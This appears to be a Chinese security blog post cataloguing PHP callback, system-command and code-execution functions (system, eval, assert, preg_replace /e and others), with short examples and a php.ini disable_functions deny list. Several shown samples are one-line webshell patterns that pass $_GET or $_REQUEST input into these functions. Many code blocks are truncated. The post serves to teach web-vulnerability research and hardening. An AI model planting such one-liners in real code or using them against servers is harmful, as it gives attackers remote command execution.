常见php回调函数,可调用其他命令/代码执行函数:1
2
3call_user_func()、call_user_func_array()、create_function()、
array_walk()、 array_map()、array_filter()、
usort()、ob_start()、可变函数$_GET['a']($_GET['b'])
常见php可执行系统命令的函数:1
2system()、passthru()、exec()、shell_exec()、pcntl_exec()、popen()、proc_open()
、反单引号
常见php可代码执行的函数:1
eval()、assert()、preg_replace()、$
php配置文件php.ini里有个disable_functions = 配置选项,可自定义禁用某些php危险函数。如:
disable_functions =system,passthru,shell_exec,exec,popen
回调函数命令执行/代码执行
1) call_user_func()
call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数
2019年1月11日ThinkPHP 5.0.x~5.2x爆出的远程代码执行漏洞就是由call_user_func()触发。
1 | <?php |
补充call_user_func函数使用示例:1
2
3
4
5
6
7
8
9<?php
function welcome($name)
{
echo "hello $name <br>";
}
call_user_func('welcome', "tom");
call_user_func('welcome', "jack");
//输出 hello tom hello jack
?>
2) call_user_func_array()
call_user_func_array ( callable $callback , array $param_arr )
call_user_func_array()把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
1 | <?php |
3) create_function()
create_function ( string $args , string $code )
创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值
create_function内部使用了eval来执行代码。
WordPress <= 4.6.1 使用语言文件任意代码执行漏洞就是由create_function()触发。
http://blog.knownsec.com/2016/10/wordpress-4-6-1-language-exploit/
1 | <?php |
4) array_walk()
rray_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
1 | <?php |
5) array_map()
array_map ( callable $callback , array $array1 [, array $… ] )
array_map()为数组的每个元素应用回调函数。
返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
1 | <?php |
6) array_filter()
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。1
2
3
4
5<?php
array_filter(array($_GET['cmd']),$_GET['func']);
//?func=system&cmd=whoami
//?func=assert&cmd=phpinfo()
?>
7) usort()
usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序
1 | <?php |
8) ob_start()
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start — 打开输出控制缓冲
1 | <?php |
9) 可变函数$var(args)
http://php.net/manual/zh/functions.variable-functions.php
PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
1 | <?php |
补充可变函数示例:1
2
3
4
5
6
7
8
9
10
11
12
13<?php
function welcome() {
echo "hello lltest<br/>";
}
$test = 'welcome';
$test();
@$_GET['a'](); //xxx.php?a=welcome
function welcome2($name) { //带参数
echo "hello $name<br/>";
}
@$_GET['b']($_GET['c']); //xxx.php?a=welcome&b=welcome2&c=tom
命令执行
10) system()
1 | <?php |
11) passthru()
1 | <?php |
12) exec()
1 | <?php |
13) shell_exec()
1 | <?php |
14) pcntl_exec()
pcntl_exec — 在当前进程空间执行指定程序1
2
3<?php
pcntl_exec( "/bin/bash" , array("whoami"));
?>
15) popen()
popen ( string $command , string $mode )
popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
1 | <?php |
16) proc_open()
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力1
2
3
4
5
6
7
8
9
10
11
12<?php
$test = "whoami";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);
$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>
17) 反单引号
1 | <?php |
代码执行
18) eval()
1 | <?php |
19) assert()
1 | <?php |
20) preg_replace()
php7.0.0不再支持 /e修饰符;php5.5.0 /e 修饰符已被弃用1
2
3
4<?php
@preg_replace("/abc/e",$_REQUEST['a'],"abcd");
//xxx.php?a=phpinfo()
?>
21) $
1 | <?php |
参考:
https://chybeta.github.io/2017/08/08/php%E4%BB%A3%E7%A0%81-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ php代码/命令执行漏洞
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html eval长度限制绕过 && PHP5.6新特性